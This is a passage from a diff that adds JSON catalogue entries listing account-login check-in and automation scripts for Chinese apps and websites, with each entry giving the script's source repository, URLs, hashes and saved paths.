"web版/账密", + "project": "叮咚鱼塘", + "filename": "2025-08-25_ddmc_ddyt_8848c2ac.js", + "sha256": "8848c2ac8c9c09a61d016a63d4ebba5937c435dca08666179c5a2be34ed1df8f", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ddmc_ddyt.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ddmc_ddyt.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ddmc_ddyt.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/叮咚鱼塘/2025-08-25_ddmc_ddyt_8848c2ac.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "吉利汽车", + "filename": "2026-04-01_jlqc_0104d80b.js", + "sha256": "0104d80b003d72d7b006ec58629a99bb10379989119b04fcc2ef59478168168b", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "jlqc.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/jlqc.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/jlqc.js", + "uploaded_at": "2026-04-01T11:27:33Z", + "saved_path": "脚本库/web版/账密/吉利汽车/2026-04-01_jlqc_0104d80b.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "周安排", + "filename": "2025-08-25_weekplan_01ccb9a9.js", + "sha256": "01ccb9a924ae114ae52393b9edefcbfc5d86124fcee00257a206de4f274a7302", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/weekplan.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/weekplan.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/weekplan.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/周安排/2025-08-25_weekplan_01ccb9a9.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "和风天气", + "filename": "2025-08-25_hfweather_8f48b643.js", + "sha256": "8f48b64324f1403201b65c13840805bab63560c7f4d667e14e2d2072678f1d0c", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/hfweather.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/hfweather.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/hfweather.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/和风天气/2025-08-25_hfweather_8f48b643.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "品赞HTTP代理签到", + "filename": "2025-06-28_品赞代理_79485dab.js", + "sha256": "79485dab3ea3a29d4dd5a09f771328d406ba90e352bf93ec3b869eefca72a3bb", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "品赞代理.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%93%81%E8%B5%9E%E4%BB%A3%E7%90%86.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%93%81%E8%B5%9E%E4%BB%A3%E7%90%86.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/品赞HTTP代理签到/2025-06-28_品赞代理_79485dab.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "哔哩哔哩热搜榜", + "filename": "2025-08-25_bilihot_1ef69980.js", + "sha256": "1ef69980ed9d00bbfa7093186b7b11d4687c0eda218618062ffd071ec276313c", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/bilihot.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/bilihot.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/bilihot.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/哔哩哔哩热搜榜/2025-08-25_bilihot_1ef69980.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "喜马拉雅", + "filename": "2025-08-25_ql_xmly_27dc10eb.js", + "sha256": "27dc10eb9a69af5d70df5913a29649b1fc8d590f8d785c18ee3172fd49897032", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_xmly.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_xmly.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_xmly.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/喜马拉雅/2025-08-25_ql_xmly_27dc10eb.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "图虫", + "filename": "2025-06-28_图虫_11833d7f.js", + "sha256": "11833d7ff0048b746c002642b2636a632f984d124a5d95de260dc05c3f9f7090", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "图虫.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%9B%BE%E8%99%AB.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%9B%BE%E8%99%AB.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/图虫/2025-06-28_图虫_11833d7f.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "在线工具", + "filename": "2025-08-25_ql_toollu_49df7a6e.js", + "sha256": "49df7a6e4966974c9250cc595daab349be2c1ef5354eb207a78e582d44c03360", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_toollu.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_toollu.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_toollu.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/在线工具/2025-08-25_ql_toollu_49df7a6e.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "天使动漫_,", @@ -1151,6 +2591,102 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "天翼云盘", + "filename": "2025-06-28_天翼云盘_3c9fd20b.py", + "sha256": "3c9fd20b74cc1a446cf8a8a4dc20b345f27ba2f121d6df5f0055e5f5b5bb87de", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "天翼云盘.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%A4%A9%E7%BF%BC%E4%BA%91%E7%9B%98.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%A4%A9%E7%BF%BC%E4%BA%91%E7%9B%98.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/天翼云盘/2025-06-28_天翼云盘_3c9fd20b.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "夸克网盘", + "filename": "2025-08-25_ql_quark_f2d5bcba.js", + "sha256": "f2d5bcba16c676b4a50400fcac5108123cea38ea73368a79a40bf5baebc60969", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_quark.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_quark.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_quark.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/夸克网盘/2025-08-25_ql_quark_f2d5bcba.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "夸克订阅更新自动转存", + "filename": "2025-08-25_quarksave_84f33509.js", + "sha256": "84f33509452b3eddd0bb2c11b597b47fd10d5c8e16fde9cf2287920745ef5b0d", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/quarksave.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/quarksave.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/quarksave.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/夸克订阅更新自动转存/2025-08-25_quarksave_84f33509.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "奇瑞汽车", + "filename": "2026-05-14_chery_022b783a.js", + "sha256": "022b783a47c38858a3c9a7afaa031098896163fabfd32345ac93d1c3333c4edb", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/chery.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/chery.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/chery.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/奇瑞汽车/2026-05-14_chery_022b783a.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "宝骏汽车视频", + "filename": "2025-06-28_宝骏汽车视频_6330e990.py", + "sha256": "6330e990dc2b7001e0109b13ebcc739afaef1a6a9408b768f0c428e55b2430d4", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "宝骏汽车视频.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%AE%9D%E9%AA%8F%E6%B1%BD%E8%BD%A6%E8%A7%86%E9%A2%91.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%AE%9D%E9%AA%8F%E6%B1%BD%E8%BD%A6%E8%A7%86%E9%A2%91.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/宝骏汽车视频/2025-06-28_宝骏汽车视频_6330e990.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "宽带技术网", + "filename": "2025-08-25_chinadsl_db342b3d.js", + "sha256": "db342b3d6f7631919c5ae6ae460906610890366a47ee9173a951925dad84bc82", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/chinadsl.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/chinadsl.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/chinadsl.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/宽带技术网/2025-08-25_chinadsl_db342b3d.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "富贵论坛_,", @@ -1167,6 +2703,166 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "小米商城做任务", + "filename": "2025-08-25_mi_d69613f3.js", + "sha256": "d69613f314797ce52a9bdbfb1ad5f8eed7b6ace51d6f075be1fe3d988af28c8d", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/mi.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/mi.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/mi.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/小米商城做任务/2025-08-25_mi_d69613f3.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "少数派热榜", + "filename": "2025-08-25_ssphot_1e4b9eda.js", + "sha256": "1e4b9eda1163b150bc0f07325d4bac195c85d738c998af3914c3e54e05e410c1", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ssphot.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ssphot.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ssphot.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/少数派热榜/2025-08-25_ssphot_1e4b9eda.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "希沃白板", + "filename": "2025-08-25_ql_easinote_ecd9a632.js", + "sha256": "ecd9a6324915abf0b910431dad5a5c4b699c38012bea268408dad89306ef3845", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_easinote.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_easinote.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_easinote.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/希沃白板/2025-08-25_ql_easinote_ecd9a632.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "广汽埃安", + "filename": "2025-06-28_广汽埃安_d765e765.js", + "sha256": "d765e765b7ca3dc06d021f6976d185f9ff299510be351238783213b618e7399b", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "广汽埃安.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%B9%BF%E6%B1%BD%E5%9F%83%E5%AE%89.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%B9%BF%E6%B1%BD%E5%9F%83%E5%AE%89.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/广汽埃安/2025-06-28_广汽埃安_d765e765.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "废文小说", + "filename": "2025-08-25_ql_fwxs_95659ed7.js", + "sha256": "95659ed7330b6398787b6e5ad726dfb75d26b497eab6786bc021b95bb013f4f2", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_fwxs.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_fwxs.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_fwxs.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/废文小说/2025-08-25_ql_fwxs_95659ed7.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "微博热搜榜", + "filename": "2025-08-25_wbhot_04ee263f.js", + "sha256": "04ee263fbdb25ee3e76ed0689389858acb2bdc6a97990baf8c495a6f4d159750", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/wbhot.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/wbhot.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wbhot.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/微博热搜榜/2025-08-25_wbhot_04ee263f.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "恩山无线论坛", + "filename": "2025-08-25_eswxlt_dc458728.js", + "sha256": "dc458728081ed1386d593b8abc5a285bee03b29483601ae862b8212fbeae5641", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/eswxlt.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/eswxlt.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/eswxlt.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/恩山无线论坛/2025-08-25_eswxlt_dc458728.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "手机号归属地", + "filename": "2025-08-25_telgsd_45e96639.js", + "sha256": "45e966395d971930e67dc04b9366e6827e21c79c9d6f5b5403208b4814b1d4ed", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/telgsd.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/telgsd.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/telgsd.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/手机号归属地/2025-08-25_telgsd_45e96639.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "抖音热搜榜", + "filename": "2025-08-25_dyhot_4af8123c.js", + "sha256": "4af8123c5b6ab5a5f607ead36d182aa9991b0143d203f6103943389de7319fa3", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/dyhot.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/dyhot.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/dyhot.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/抖音热搜榜/2025-08-25_dyhot_4af8123c.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "挑战古诗词", + "filename": "2025-08-25_tzgsc_2717fabb.js", + "sha256": "2717fabb694cc919a6f92531c91d9e18168be2342694b7ed46b08e88c9941ec6", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/tzgsc.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/tzgsc.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/tzgsc.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/挑战古诗词/2025-08-25_tzgsc_2717fabb.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "方舟健客签到", @@ -1183,6 +2879,70 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "无锡观察", + "filename": "2025-06-28_无锡观察_75d1a9e7.js", + "sha256": "75d1a9e750c86e36d648c26a2df29dd860711cc296266f3998347a115cf7f104", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "无锡观察.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%97%A0%E9%94%A1%E8%A7%82%E5%AF%9F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%97%A0%E9%94%A1%E8%A7%82%E5%AF%9F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/无锡观察/2025-06-28_无锡观察_75d1a9e7.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "日期提醒", + "filename": "2025-08-25_remind_a1656667.js", + "sha256": "a165666730d8b62b27564625aa573e3b7040c5d845a4d7cc347c2eb244596669", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/remind.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/remind.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/remind.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/日期提醒/2025-08-25_remind_a1656667.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "早安问候语", + "filename": "2025-08-25_zaoan_22a29697.js", + "sha256": "22a296974f99e452797b7780c1758fb2e3ecc5b549b4ef27337a6b734854aed7", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/zaoan.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/zaoan.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/zaoan.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/早安问候语/2025-08-25_zaoan_22a29697.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "星座运势", + "filename": "2025-08-25_xingzuo_fc96e27b.js", + "sha256": "fc96e27bf3c2e6665ff8d314a8c967cf37eed0d3d5298bda1ccc1a6107ab9e7b", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/xingzuo.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/xingzuo.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/xingzuo.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/星座运势/2025-08-25_xingzuo_fc96e27b.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "星星充电签到", @@ -1199,6 +2959,118 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "星芽短剧脚本(解密版)", + "filename": "2025-06-28_星芽短剧脚本(解密版)_aa45bfb7.js", + "sha256": "aa45bfb7967543fb4fe09a6e15cb37f51d304667e3cc21da39c2b399095fcd93", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "星芽短剧脚本(解密版).js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%98%9F%E8%8A%BD%E7%9F%AD%E5%89%A7%E8%84%9A%E6%9C%AC%EF%BC%88%E8%A7%A3%E5%AF%86%E7%89%88%EF%BC%89.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%98%9F%E8%8A%BD%E7%9F%AD%E5%89%A7%E8%84%9A%E6%9C%AC%EF%BC%88%E8%A7%A3%E5%AF%86%E7%89%88%EF%BC%89.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/星芽短剧脚本(解密版)/2025-06-28_星芽短剧脚本(解密版)_aa45bfb7.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "晚安问候语", + "filename": "2025-08-25_wanan_b25f6959.js", + "sha256": "b25f695945a994e20257babb070e0fdadbe0cac72196bc164120e82d3b1e83da", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/wanan.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/wanan.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wanan.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/晚安问候语/2025-08-25_wanan_b25f6959.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "望潮", + "filename": "2025-06-28_望潮_e2d725b7.js", + "sha256": "e2d725b7293f86b982ed2ade97ed16facc9166270b6706e7d02cf9a2cae09c17", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "望潮.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%9C%9B%E6%BD%AE.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%9C%9B%E6%BD%AE.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/望潮/2025-06-28_望潮_e2d725b7.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "望潮py版", + "filename": "2025-06-28_望潮py版_7e3e4c49.py", + "sha256": "7e3e4c490c027ab9d226e97579a969b25819e35cbec98bd2987e6fce14620f10", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "望潮py版.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%9C%9B%E6%BD%AEpy%E7%89%88.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%9C%9B%E6%BD%AEpy%E7%89%88.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/望潮py版/2025-06-28_望潮py版_7e3e4c49.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "望潮代理版", + "filename": "2025-06-28_望潮代理版_cfe0f499.py", + "sha256": "cfe0f499ae9b30709066b3ecac2125243fa8628a40e6e9a298b5664fb4d0d347", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "望潮代理版.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%9C%9B%E6%BD%AE%E4%BB%A3%E7%90%86%E7%89%88.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%9C%9B%E6%BD%AE%E4%BB%A3%E7%90%86%E7%89%88.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/望潮代理版/2025-06-28_望潮代理版_cfe0f499.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "模板_修改这里", + "filename": "2025-08-25_TEMPLATE_ql_b4f0835b.js", + "sha256": "b4f0835b4e8445324f23d073b735cdef01013b3bf951cc23e1d7e77906e8554e", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/TEMPLATE_ql.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/TEMPLATE_ql.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/TEMPLATE_ql.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/模板_修改这里/2025-08-25_TEMPLATE_ql_b4f0835b.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "每天60秒读懂世界", + "filename": "2025-08-25_day60s_5a7eddd6.js", + "sha256": "5a7eddd6880c15b998de674e8a7cf397ea0aa6e1c22bd011a0a78e4fe2e659c7", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/day60s.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/day60s.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/day60s.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/每天60秒读懂世界/2025-08-25_day60s_5a7eddd6.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "汽水音乐签到", @@ -1215,6 +3087,150 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "游侠网", + "filename": "2025-06-28_游侠网_f8654a12.js", + "sha256": "f8654a129c1266b979a4fb939c98273c7d5fca37cbd10a5597eabfdd841c35b5", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "游侠网.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%B8%B8%E4%BE%A0%E7%BD%91.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%B8%B8%E4%BE%A0%E7%BD%91.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/游侠网/2025-06-28_游侠网_f8654a12.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "熊猫网络", + "filename": "2025-08-25_xmdl_0cddb80d.js", + "sha256": "0cddb80da31aedf5c5289c88965c5cee00f1428881e7dde05d0ae1d5f86cb02b", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/xmdl.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/xmdl.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/xmdl.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/熊猫网络/2025-08-25_xmdl_0cddb80d.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "王者荣耀英雄介绍", + "filename": "2025-08-25_wangzhe_92cce1aa.js", + "sha256": "92cce1aa99a7432e308ea56aba70fb5d9c6cb9c200fa83adcf5db15facad4401", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/wangzhe.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/wangzhe.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wangzhe.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/王者荣耀英雄介绍/2025-08-25_wangzhe_92cce1aa.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + 